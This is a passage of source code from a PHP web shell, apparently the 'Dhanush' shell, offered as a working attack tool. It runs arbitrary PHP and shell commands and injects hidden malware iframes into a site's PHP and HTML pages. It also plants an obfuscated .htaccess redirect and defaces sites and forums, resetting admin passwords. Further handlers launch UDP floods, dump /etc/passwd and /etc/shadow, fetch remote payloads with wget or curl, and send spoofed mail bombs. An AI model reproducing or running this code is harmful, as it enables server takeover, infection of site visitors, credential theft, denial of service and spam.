2281 if(isset($_POST['padding']))
2282 {
2283 $fromPadd = rand(0,9999);
2284 $subjectPadd = " -- ID : ".rand(0,9999999);
2285 $messagePadd = "\n\n------------------------------\n".rand(0,99999999);
2286
2287 }
2288 $from = "president$fromPadd@whitehouse.gov";
2289 if(!mail($_POST['to'],$_POST['subject'].$subjectPadd,$_POST['message'].$messagePadd,"From:".$from))
2290 {
2291 $error = 1;
2292 echo "<center><font size=3><blink><blink>Some Error Occured!</blink></font></center>";
2293 break;
2294 }
2295 }
2296 if($error != 1)
2297 echo "<center><font class=txt size=3><blink>Mail(s) Sent!</blink></font></center>";
2298 }
2299 }
2300 else if($_POST['mailfunction'] == "massmailing")
2301 {
2302 if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['subject']) && isset($_POST['message']))
2303 {
2304 if(mail($_POST['to'],$_POST['subject'],$_POST['message'],"From:".$_POST['from']))
2305 echo "<center><font class=txt size=3><blink>Mail Sent!</blink></font></center>";
2306 else
2307 echo "<center><font size=3><blink>Some Error Occured!</blink></font></center>";
2308 }
2309 }
2310}
2311else if(isset($_POST['code']))
2312{
2313 if($_POST['code'] != null && isset($_POST['intext']) && $_POST['intext'] == "true")
2314 {
2315 // FIlter Some Chars we dont need
2316 ?><br>
2317 <textarea name="code" class="box" cols="120" rows="10"><?php
2318 $code = str_replace("<?php","",$_POST['code']);
2319 $code = str_replace("<?","",$code);
2320 $code = str_replace("?>","",$code);
2321
2322 // Evaluate PHP CoDE!
2323 htmlspecialchars(eval($code));
2324 ?>
2325 </textarea><?php
2326 }
2327 else if($_POST['code'] != null && $_POST['intext'] == "false")
2328 {
2329 $code = str_replace("<?php","",$_POST['code']);
2330 $code = str_replace("<?","",$code);
2331 $code = str_replace("?>","",$code);
2332
2333 // Evaluate PHP CoDE!
2334 ?><br><font size="4">Result of execution this PHP-code :</font><br><font class=txt><?php htmlspecialchars(eval($code)); ?></font><?php
2335 }
2336}
2337else if(isset($_GET['infect']))
2338{
2339 $coun = 0;
2340 $str = "<iframe width=0px height=0px frameborder=no name=frame1 src=".$malsite."> </iframe>";
2341 foreach (glob($_GET['path'] . "*.php") as $injectj00)
2342 {
2343 if($injectj00 == __FILE__)
2344 continue;
2345 if($myfile=fopen($injectj00,'a'))
2346 {
2347 fputs($myfile, $str);
2348 fclose($myfile);
2349 $coun = 1;
2350 }
2351 }
2352 foreach (glob($_GET['path'] . $directorysperator . "*.htm") as $injectj00)
2353 {
2354 if($myfile=fopen($injectj00,'a'))
2355 {
2356 fputs($myfile, $str);
2357 fclose($myfile);
2358 $coun = 1;
2359 }
2360 }
2361 foreach (glob($_GET['path'] . $directorysperator . "*.html") as $injectj00)
2362 {
2363 if($myfile=fopen($injectj00,'a'))
2364 {
2365 fputs($myfile, $str);
2366 fclose($myfile);
2367 $coun = 1;
2368 }
2369 }
2370
2371
2372 if($coun == 1)
2373 echo "<center>Done !!!!<center>";
2374 else
2375 echo "<center>Cannot open files !!!!<center>";
2376}
2377else if(isset($_GET['redirect']))
2378{
2379 if($myfile = fopen(".htaccess",'a'))
2380 {
2381 $mal = "eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw";
2382 fwrite($myfile, gzuncompress(base64_decode($mal)));
2383 fwrite($myfile, "\n\r");
2384 fclose($myfile);
2385 echo "<center>Done !!!!<center>";
2386 }
2387 else
2388 echo "<center>Cannot open file !!!!<center>";
2389}
2390else if(isset($_GET['malware']))
2391{ ?>
2392 <input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
2393 <center><table><tr><td><a href=# onClick="malwarefun('infect')"><font class=txt size="4">| Infect Users |</font></a></td>
2394 <td><a href=javascript:void(0) onClick="malwarefun('redirect')"><font class=txt size="4">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>
2395 <div id="showmal"></div>
2396 <?php
2397}
2398else if(isset($_GET['codeinsert']))
2399{
2400 if($file1 = fopen(".htaccess",'r'))
2401 {
2402 ?><div id="showcode"></div>
2403 <form method=post>
2404 <textarea rows=9 cols=110 name="code" class=box><?php while(!feof($file1)) { echo fgets($file1); } ?></textarea><br>
2405 <input type="button" onClick="codeinsert(code.value)" value=" Insert " class=but>
2406 </form>
2407 <?php }
2408 else
2409 echo "<center>Cannot Open File!!</center>";
2410}
2411else if(isset($_POST['getcode']))
2412{
2413 if($myfile = fopen(".htaccess",'a'))
2414 {
2415 fwrite($myfile, $_POST['getcode']);
2416 fwrite($myfile, "\n\r");
2417 fclose($myfile);
2418 echo "<font class=txt>Code Inserted Successfully!!!!</font>";
2419 }
2420 else
2421 echo "Permission Denied";
2422}
2423else if(isset($_GET['uploadurl']))
2424{
2425 $functiontype = trim($_GET['functiontype']);
2426 $wurl = trim($_GET['wurl']);
2427 $path = magicboom($_GET['path']);
2428
2429 function remotedownload($cmd,$url)
2430 {
2431 $namafile = basename($url);
2432 switch($cmd)
2433 {
2434 case 'wwget':
2435 execmd(which('wget')." ".$url." -O ".$namafile);
2436 break;
2437 case 'wlynx':
2438 execmd(which('lynx')." -source ".$url." > ".$namafile);
2439 break;
2440 case 'wfread' :
2441 execmd($wurl,$namafile);
2442 break;
2443 case 'wfetch' :
2444 execmd(which('fetch')." -o ".$namafile." -p ".$url);
2445 break;
2446 case 'wlinks' :
2447 execmd(which('links')." -source ".$url." > ".$namafile);
2448 break;
2449 case 'wget' :
2450 execmd(which('GET')." ".$url." > ".$namafile);
2451 break;
2452 case 'wcurl' :
2453 execmd(which('curl')." ".$url." -o ".$namafile);
2454 break;
2455 default:
2456 break;
2457 }
2458 return $namafile;
2459 }
2460 $namafile = remotedownload($functiontype,$wurl);
2461 $fullpath = $path . $directorysperator . $namafile;
2462 if(is_file($fullpath))
2463 {
2464 echo "<center><font class=txt>File uploaded to $fullpath</font></center>";
2465 }
2466 else
2467 echo "<center>Failed to upload $namafile</center>";
2468}
2469else if(isset($_GET['createfolder']))
2470{
2471 if(!mkdir($_GET['createfolder']))
2472 echo "Failed To create";
2473 else
2474 echo "<font class=txt>Folder Created Successfully</font>";
2475}
2476else if(isset($_GET['selfkill']))
2477{
2478 if(unlink(__FILE__))
2479 echo "<br><center><font size=5>Good Bye......</font></center>";
2480 else
2481 echo "<br><center><font size=5>Shell cannot be removed......</font></center>";
2482}
2483else if(isset($_GET['Create']))
2484{
2485 ?>
2486 <form method="post">
2487 <input type="hidden" name="filecreator" value="<?php echo $_GET['Create']; ?>">
2488 <textarea name="filecontent" rows="12" cols="100" class="box"></textarea><br />
2489 <input type="button" onClick="createfile(filecreator.value,filecontent.value)" value=" Save " class="but"/>
2490 </form>
2491
2492<?php }
2493else if(isset($_POST['filecreator'])&&isset($_POST['filecontent']))
2494{
2495 $content = $_POST['filecontent'];
2496 if($file_pointer = fopen($_POST['filecreator'], "w+"))
2497 {
2498 fwrite($file_pointer, $content);
2499 fclose($file_pointer);
2500 echo "<font class=txt>File Created Successfully</font>";
2501 }
2502 else
2503 echo "Cannot Create File";
2504}
2505else if(isset($_REQUEST["defaceforum"]))
2506{
2507 ?>
2508 <center><div id="showdeface"></div>
2509 <font color="#FF0000" size="4">Forum Index Changer</font>
2510 <form action="<?php echo $self; ?>" method = "POST">
2511 <input type="hidden" name="forum">
2512 <input type="hidden" name="defaceforum">
2513 <table border = "1" width="60%" style="text-align: center;border-color:#333333;" align="center">
2514 <tr>
2515 <td height="50" width="50%"> <b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost"></td>
2516
2517 <td width="50%"><b> Database :</b> <input type ="text" class="sbox" name = "f2" size="20"></td></tr>
2518 <tr><td height="50" width="50%"><b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> </td>
2519 <td><b> Password :</b> <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
2520
2521 <tr><td height="50" width="50%">Type :
2522 <select class=sbox id="forumdeface" name="forumdeface" onChange="checkforum(this.value)">
2523 <option value="vb">vbulletin</option>
2524 <option value="mybb">Mybb</option>
2525 <option value="smf">SMF</option>
2526 <option value="ipb">IPB</option>
2527 <option value="wp">Wordpress</option>
2528 <option value="joomla">Joomla</option>
2529 </select></td>
2530 <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td></td>
2531
2532 </tr>
2533 <tr>
2534 <td height="167" width="50%" colspan=2>
2535 <div style="display:none;" id="myjoomla"><p><b>Site URL : </b><input class="box" type="text" name="siteurl" width="80" value="http://site.com/administrator/"></p></div>
2536
2537 <div style="display:none;" id="smfipb"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked"> <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">
2538 <label id="wordpres" style="display:none; float:right; margin-right:8%;"><input type="checkbox" name="all" value="All" checked="checked"> All</label></p>
2539 </div>
2540
2541 <p align="center"> <textarea class="box" name="index" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align="center">
2542 <input type="button" onClick="forumdefacefn(index.value,f1.value,f2.value,f3.value,f4.value,forumdeface.value,tableprefix.value,siteurl.value,head.value,all.value,f5.value)" class="but" value = "Hack It">
2543 </td>
2544 </tr>
2545 </table>
2546 </form>
2547 </center>
2548 <?php
2549 }
2550 else if(isset($_GET["passwordchange"]))
2551 {
2552 echo "<center>";
2553 ?>
2554 <div id="showchangepass"></div>
2555 <font color="#FF0000" size="4">Forum Password Changer</font>
2556 <form onSubmit="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uid.value,uname.value,newpass.value);return false;">
2557 <table border = "1" width="60%" height="246" style="text-align: center;border-color:#333333;" align="center">
2558 <tr>
2559 <td height="50" width="50%"> <b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost"></td><td height="50" width="50"> <b> DataBase :</b> <input type ="text" class="sbox" name = "f2" size="20"></td> <tr><td height="50" width="50%"> <b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"></td><td height="50" width="50%"> <b>Password :</b> <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
2560 <tr>
2561 <td height="50" width="50%">Type :
2562 <select class=sbox id="forums" name="forums" onChange="showMsg(this.value)">
2563 <option value="vb">vbulletin</option>
2564 <option value="mybb">Mybb</option>
2565 <option value="smf">SMF</option>
2566 <option value="ipb">IPB</option>
2567 <option value="phpbb">PHPBB</option>
2568 <option value="wp">Wordpress</option>
2569 <option value="joomla">Joomla</option>
2570 </select></td>
2571 <td height="50" width="50%">Prefix : <input type="text" id="tableprefix" name="tableprefix" class="sbox"></td>
2572 </tr>
2573 <tr>
2574 <td colspan=2 height="100" width="780">
2575
2576 <p align="center"><div id="fid" style="display:block;"><b>User ID :</b> <input class="sbox" type="text" name="ipbuid" size="20" value="1"> <b>New Password :</b> <input type ="text" class="sbox" name = "newipbpass" size="20" value="hacked"></div>
2577
2578 <div id="joomla" style="display:none;"><b>New Username :</b> <input style="width:170px;" class="box" type="text" name="username" size="20" value="admin"> <b>New Password :</b> <input type ="text" class="sbox" name = "newjoomlapass" size="20" value="hacked"></div>
2579
2580 <div id="wpress" style="display:none;"><p><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1"> <b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><b>New Username :</b> <input style="width:170px;" class="box" type="text" name="uname" size="20" value="admin"></div>
2581
2582 <p><input type = "button" onClick="changeforumpassword('forumpass',f1.value,f2.value,f3.value,f4.value,forums.value,tableprefix.value,ipbuid.value,newipbpass.value,username.value,newjoomlapass.value,uid.value,uname.value,newpass.value)" class="but" value = " Change IT " name="forumpass"></p></td>
2583 </tr>
2584 </table>
2585 </form>
2586 </center>
2587 <?php
2588}
2589else if(isset($_GET['dosser']))
2590{
2591 if(isset($_GET['ip']) && isset($_GET['exTime']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && $_GET['exTime'] != "" &&
2592 $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['timeout'] != "" && $_GET['exTime'] != "" )
2593 {
2594 $IP=$_GET['ip'];
2595 $port=$_GET['port'];
2596 $executionTime = $_GET['exTime'];
2597 $no0fBytes = $_GET['no0fBytes'];
2598 $data = "";
2599 $timeout = $_GET['timeout'];
2600 $packets = 0;
2601 $counter = $no0fBytes;
2602 $maxTime = time() + $executionTime;;
2603 while($counter--)
2604 {
2605 $data .= "X";
2606 }
2607 $data .= " Dhanush";
2608
2609 while(1)
2610 {
2611 $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
2612 if($socket)
2613 {
2614 fwrite($socket , $data);
2615 fclose($socket);
2616 $packets++;
2617 }
2618 if(time() >= $maxTime)
2619 {
2620 break;
2621 }
2622 }
2623 echo "Dos Completed!<br>";
2624 echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
2625 echo "Total Number of Packets Sent : " . $packets . "<br />";
2626 echo "Total Data Sent = ". HumanReadableFilesize($packets*$no0fBytes) . "<br />";
2627 echo "Data per packet = " . HumanReadableFilesize($no0fBytes) . "<br />";
2628 }
2629}
2630else if(isset($_GET['fuzzer']))
2631{
2632 if(isset($_GET['ip']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && isset($_GET['no0fBytes']) && isset($_GET['multiplier']) && $_GET['no0fBytes'] != "" && $_GET['exTime'] != "" && $_GET['timeout'] != "" && $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['multiplier'] != "")
2633 {
2634 $IP=$_GET['ip'];
2635 $port=$_GET['port'];
2636 $times = $_GET['exTime'];
2637 $timeout = $_GET['timeout'];
2638 $send = 0;
2639 $ending = "";
2640 $multiplier = $_GET['multiplier'];
2641 $data = "";
2642 $mode="tcp";
2643 $data .= "GET /";
2644 $ending .= " HTTP/1.1\n\r\n\r\n\r\n\r";
2645 if($_GET['type'] == "tcp")
2646 {
2647 $mode = "tcp";
2648 }
2649
2650 while($multiplier--)
2651 {
2652 $data .= urlencode($_GET['no0fBytes']);
2653 }
2654 $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
2655 $data .= "by-Dhanush".$ending;
2656 $length = strlen($data);
2657
2658
2659 echo "Sending Data :- <br /> <p align='center'>$data</p>";
2660
2661 for($i=0;$i<$times;$i++)
2662 {
2663 $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
2664 if($socket)
2665 {
2666 fwrite($socket , $data , $length );
2667 fclose($socket);
2668 }
2669 }
2670 echo "Fuzzing Completed!<br>";
2671 echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
2672 echo "Total Number of Packets Sent : " . $times . "<br />";
2673 echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";
2674 echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
2675 }
2676}
2677else if(isset($_GET['bypassit']))
2678{
2679 if(isset($_GET['copy']))
2680 {
2681 if(@copy($_GET['copy'],"test1.php"))
2682 {
2683 $fh=fopen("test1.php",'r');
2684 echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars(@fread($fh,filesize("test1.php")))."</textarea></br></br>";
2685 @fclose($fh);
2686 unlink("test1.php");
2687 }
2688 }
2689 else if(isset($_GET['imap']))
2690 {
2691 $string = $_GET['imap'];
2692 echo "<textarea cols=120 rows=20 class=box readonly>";
2693 $stream = imap_open($string, "", "");
2694 $str = imap_body($stream, 1);
2695 echo "</textarea>";
2696 }
2697 else if(isset($_GET['sql']))
2698 {
2699 echo "<textarea cols=120 rows=20 class=box readonly>";
2700 $file=$_GET['sql'];
2701
2702 $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
2703 $mysql_files = explode(':', $mysql_files_str);
2704
2705 $sql = array (
2706 "USE $mdb",
2707 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
2708 "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
2709 . "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
2710 . "ESCAPED BY '' "
2711 . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
2712
2713 "SELECT a FROM $tbl LIMIT 1"
2714 );
2715 mysql_connect ($mhost, $muser, $mpass);
2716
2717 foreach ($sql as $statement) {
2718 $q = mysql_query ($statement);
2719
2720 if ($q == false) die (
2721 "FAILED: " . $statement . "\n" .
2722 "REASON: " . mysql_error () . "\n"
2723 );
2724
2725 if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
2726
2727 echo htmlspecialchars($r[0]);
2728 mysql_free_result ($q);
2729 }
2730 echo "</textarea>";
2731 }
2732 else if(isset($_GET['curl']))
2733 {
2734 $ch=curl_init("file://" . $_GET[curl]);
2735 curl_setopt($ch,CURLOPT_HEADERS,0);
2736 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2737 $file_out=curl_exec($ch);
2738 curl_close($ch);
2739 echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars($file_out)."</textarea></br></br>";
2740 }
2741 else if(isset($_GET['include']))
2742 {
2743 if(file_exists($_GET['include']))
2744 {
2745 echo "<textarea cols=120 rows=20 class=box readonly>";
2746 @include($_GET['include']);
2747 echo "</textarea>";
2748 }
2749 else
2750 echo "<br><center><font size=3>Can't Read" . $_GET['include'] . "</font></center>";
2751 }
2752 else if(isset($_GET['id']))
2753 {
2754 echo "<textarea cols=120 rows=20 class=box readonly>";
2755 for($uid=0;$uid<60000;$uid++)
2756 { //cat /etc/passwd
2757 $ara = posix_getpwuid($uid);
2758 if (!empty($ara))
2759 {
2760 while (list ($key, $val) = each($ara))
2761 {
2762 print "$val:";
2763 }
2764 print "\n";
2765 }
2766 }
2767 echo "</textarea>";
2768 break;
2769 }
2770 else if(isset($_GET['tempnam']))
2771 {
2772 $mytmp = tempnam ( 'tmp', $_GET['tempnam'] );
2773 $fp = fopen ( $mytmp, 'r' );
2774 while(!feof($fp))
2775 echo fgets($fp);
2776 fclose ( $fp );
2777 }
2778 else if(isset($_GET['symlnk']))
2779 {
2780 echo "<textarea cols=120 rows=20 class=box readonly>";
2781 @mkdir("mydhanush",0777);
2782 @chdir("mydhanush");
2783 execmd("ln -s /etc/passwd");
2784
2785 echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/mydhanush/passwd");
2786 echo "</textarea>";
2787 }
2788 if(isset($_GET['newtype']))
2789 {
2790 $filename = $_GET['newtype'];
2791 echo "<textarea cols=120 rows=20 class=box readonly>";
2792 if($_GET['optiontype'] == "xxd")
2793 echo execmd("xxd ".$filename);
2794 else if($_GET['optiontype'] == "rev")
2795 echo execmd("rev ".$filename);
2796 if($_GET['optiontype'] == "tac")
2797 echo execmd("tac ".$filename);
2798 if($_GET['optiontype'] == "more")
2799 echo execmd("more ".$filename);
2800 if($_GET['optiontype'] == "less")
2801 echo execmd("less ".$filename);
2802 echo "</textarea>";
2803 }
2804}
2805// Deface Website
2806else if(isset($_GET['deface']))
2807{
2808 $myfile = fopen($_GET['deface'],'w');
2809 if(fwrite($myfile, base64_decode($ind)))
2810 {fclose($myfile);
2811 echo "Index Defaced Successfully";}
2812 else
2813 echo "Donot have write permission";
2814}
2815else if(isset($_GET['perms']))
2816{
2817?>
2818 <form>
2819 <input type="hidden" name="myfilename" value="<?php echo $_GET['myfilepath']; ?>">
2820 <table align="center" border="1" style="width:40%;border-color:#333333;">
2821 <tr>
2822 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
2823 </tr>
2824 <tr>
2825 <td colspan="2" align="center" style="height:60px">
2826 <input type="button" onClick="changeperms(chmode.value,myfilename.value)" value="Change Permission" class="but" style="padding: 5px;" /></td>
2827 </tr>
2828 </table>
2829
2830 </form>
2831 <?php
2832}
2833else if(isset($_GET["chmode"]))
2834{
2835 if($_GET['chmode'] != null && is_numeric($_GET['chmode']))
2836 {
2837 $perms = 0;
2838 for($i=strlen($_GET['chmode'])-1;$i>=0;--$i)
2839 $perms += (int)$_GET['chmode'][$i]*pow(8, (strlen($_GET['chmode'])-$i-1));
2840 if(@chmod($_GET['myfilename'],$perms))
2841 echo "<center><blink><font class=txt>File Permissions Changed Successfully</font></blink></center>";
2842 else
2843 echo "<center><blink>Cannot Change File Permissions</blink></center>";
2844 }
2845}
2846else if(isset($_GET['rename']))
2847{
2848?>
2849 <form>
2850 <table border="0" cellpadding="3" cellspacing="3">
2851 <tr>
2852 <td>File </td><td><input value="<?php echo $_GET['myfilepath'];?>" name="file" class="box" /></td>
2853 </tr>
2854 <tr>
2855 <td>To </td><td><input value="<?php echo $_GET['myfilepath'];?>" name="to" class="box" /></td>
2856 </tr>
2857 <tr>
2858 <td colspan="2"><input type="button" onClick="renamefun(file.value,to.value)" value="Rename It" class="but" style="margin-left: 160px;padding: 5px;"/></td>
2859 </tr>
2860 </table>
2861 </form>
2862 <?php
2863
2864}
2865else if(isset($_GET['renamemyfile']))
2866{
2867 if(isset($_GET['to']) && isset($_GET['file']))
2868 {
2869 if(!rename($_GET['file'], $_GET['to']))
2870 echo "Cannot Rename File";
2871 else
2872 echo "<font class=txt>File Renamed Successfully</font>";
2873
2874 }
2875}
2876else if(isset($_GET['open']))
2877{
2878 if(is_file($_GET['myfilepath']))
2879 {
2880 $owner = "0/0";
2881 if($os == "Linux")
2882 $owner = getOGid($_GET['myfilepath']);
2883 ?>
2884 <form>
2885 <table style="width:57%;">
2886 <tr align="left">
2887 <td align="left">File : </td><td><font class=txt><?php echo $_GET['myfilepath'];?></font></td><td align="left">Permissions : </td><td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo addslashes($_GET['myfilepath']); ?>')"><?php echo filepermscolor($_GET['myfilepath']);?></a></td>
2888 </tr>
2889 <tr>
2890 <td>Size : </td><td><?php echo HumanReadableFileSize(filesize($_GET['myfilepath']));?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
2891 </tr>
2892 </table>
2893 <textarea name="content" rows="15" cols="100" class="box"><?php
2894 $content = htmlspecialchars(file_get_contents($_GET['myfilepath']));
2895 if($content)
2896 {
2897 echo $content;
2898 }
2899 else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))
2900 {
2901 if(filesize($_GET['myfilepath']) != 0 )
2902 {
2903 fopen($_GET['myfilepath']);
2904 while(!feof())
2905 {
2906 echo htmlspecialchars(fgets($_GET['myfilepath']));
2907 }
2908 }
2909 }
2910
2911 ?>
2912 </textarea><br />
2913 <input name="save" type="button" onClick="savemyfile('<?php echo addslashes($_GET['myfilepath']); ?>',content.value)" value="Save Changes" id="spacing" class="but"/>
2914 </form>
2915 <?php
2916 }
2917 else
2918 echo "File does not exist !!!!";
2919}
2920else if(isset($_POST['file']) && isset($_POST['content']))
2921{
2922 if(file_exists($_POST['file']))
2923 {
2924 $handle = fopen($_POST['file'],"w");
2925 if(fwrite($handle,$_POST['content']))
2926 echo "<font class=txt>File Saved Successfully!</font>";
2927 else
2928 echo "Cannot Write into File";
2929 }
2930 else
2931 {
2932 echo "File Name Specified does not exists!";
2933 }
2934}
2935else if(isset($_POST["SendNowToZoneH"]))
2936{
2937 $hacker = $_POST['defacer'];
2938 $method = $_POST['hackmode'];
2939 $neden = $_POST['reason'];
2940 $site = $_POST['domain'];
2941
2942 if (empty($hacker))
2943 {
2944 die("<center><font size=3>[-] You Must Fill the Attacker name !</font></center>");
2945 }
2946 elseif($method == "--------SELECT--------")
2947 {
2948 die("<center><font size=3>[-] You Must Select The Method !</center>");
2949 }
2950 elseif($neden == "--------SELECT--------")
2951 {
2952 die("<center><font size=3>[-] You Must Select The Reason</center>");
2953 }
2954 elseif(empty($site))
2955 {
2956 die("<center><font size=3>[-] You Must Inter the Sites List !</center>");
2957 }
2958 // Zone-h Poster
2959 function ZoneH($url, $hacker, $hackmode,$reson, $site )
2960 {
2961 $k = curl_init();
2962 curl_setopt($k, CURLOPT_URL, $url);
2963 curl_setopt($k,CURLOPT_POST,true);
2964 curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
2965 curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
2966 curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
2967 $kubra = curl_exec($k);
2968 curl_close($k);
2969 return $kubra;
2970 }
2971
2972 $i = 0;
2973 $sites = explode("\n", $site);
2974 echo "<pre class=ml1 style='margin-top:5px'>";
2975 while($i < count($sites))
2976 {
2977 if(substr($sites[$i], 0, 4) != "http")
2978 {
2979 $sites[$i] = "http://".$sites[$i];
2980 }
2981 ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
2982 echo "<font class=txt size=3>Site : ".$sites[$i]." Posted !</font><br>";
2983 ++$i;
2984 }
2985
2986 echo "<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
2987}
2988else if(isset($_GET['executemycmd']))
2989{
2990 $comm = $_GET['executemycmd'];
2991 chdir($_GET['executepath']);
2992 echo shell_exec($comm);
2993}
2994// View Passwd file
2995else if(isset($_GET['passwd']))
2996{
2997 $test='';
2998 $tempp= tempnam($test, "cx");
2999 $get = "/etc/passwd";
3000 $name=@posix_getpwuid(@fileowner($get));
3001 $group=@posix_getgrgid(@filegroup($get));
3002 $owner = $name['name']. " / ". $group['name'];
3003 ?>
3004 <table style="width:57%;">
3005 <tr>
3006 <td align="left">File : </td><td><font class=txt><?php echo $get; ?></font></td><td align="left">Permissions : </td><td><?php echo filepermscolor($get);?></td>
3007 </tr>
3008 <tr>
3009 <td>Size : </td><td><?php echo filesize($get);?></td><td>Owner/Group : </td><td><font class=txt><?php echo $owner;?></font></td>
3010 </tr>
3011 </table>
3012 <?php
3013 if(copy("compress.zlib://".$get, $tempp))
3014 {
3015 $fopenzo = fopen($tempp, "r");
3016 $freadz = fread($fopenzo, filesize($tempp));
3017 fclose($fopenzo);
3018 $source = htmlspecialchars($freadz);
3019 echo "<tr><td><center><textarea rows='20' cols='80' class=box name='source'>$source</textarea><br>";
3020 unlink($tempp);
3021 }
3022 else
3023 {
3024 ?>
3025 <form>
3026 <input type="hidden" name="etcpasswd">
3027 <table class="tbl" border="1" cellpadding="5" cellspacing="5" align="center" style="width:40%;">
3028 <tr>
3029 <td>From : </td><td><input type="text" name="val1" class="sbox" value="1"></td>
3030 </tr>
3031 <tr>
3032 <td>To : </td><td><input type="text" name="val2" class="sbox" value="1000"></td>
3033 </tr>
3034 <tr>
3035 <td colspan="2" align="center"><input type="submit" value=" Go " class="but"></td>
3036 </tr>
3037 </table><br>
3038 </form>
3039 <?php
3040 }
3041}
3042else if(isset($_GET['shadow']))
3043{
3044 $test='';
3045 $tempp= tempnam($test, "cx");
3046 $get = "/etc/shadow";
3047 if(copy("compress.zlib://".$get, $tempp))
3048 {
3049 $fopenzo = fopen($tempp, "r");
3050 $freadz = fread($fopenzo, filesize($tempp));
3051 fclose($fopenzo);
3052 $source = htmlspecialchars($freadz);
3053 echo "<tr><td><center><font size='3' face='Verdana'>$get</font><br><textarea rows='20' cols='80' class=box name='source'>$source</textarea>";
3054 unlink($tempp);
3055 }
3056}
3057else if(isset($_GET['bomb']))
3058{
3059 ?><div id="showmail"></div>
3060 <form>
3061 <table id="margins" style="width:100%;">
3062 <tr>
3063 <td style="width:30%;">To</td>
3064 <td>
3065 <input class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/>
3066 </td>
3067 </tr>
3068 <tr>
3069 <td style="width:30%;">Subject</td>
3070 <td>
3071 <input type="text" class="box" name="subject" value="Dhanush Here!" onFocus="if(this.value == 'Dhanush Here!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!';" />
3072 </td>
3073 </tr>
3074 <tr>
3075 <td style="width:30%;">No. of Times</td>
3076 <td>
3077 <input class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';"/>
3078 </td>
3079 </tr>
3080 <tr>
3081 <td style="width:30%;">Pad your message (Less spam detection)</td>
3082 <td><input type="checkbox" name="padding"/></td>
3083 </tr>
3084 <tr>
3085 <td colspan="2"><textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!</textarea></td>
3086 </tr>
3087 <tr>
3088 <td rowspan="2">
3089 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('dobombing',to.value,subject.value,message.value,'null',times.value,padding.value)" class="but" value=" Bomb! "/>
3090 </td>
3091 </tr>
3092 </table>
3093 </form>
3094 <?php
3095}
3096
3097//Mass Mailer
3098else if(isset($_GET['mail']))
3099{
3100 ?><div id="showmail"></div>
3101 <div align="left">
3102 <form>
3103 <table align="left" style="width:100%;">
3104 <tr>
3105 <td style="width:10%;">From</td>
3106 <td style="width:80%;" align="left"><input name="from" class="box" value="Hello@abcd.in" onFocus="if(this.value == 'president@whitehouse.gov')this.value = '';" onBlur="if(this.value=='')this.value='president@whitehouse.gov';"/></td>
3107 </tr>
3108
3109 <tr>
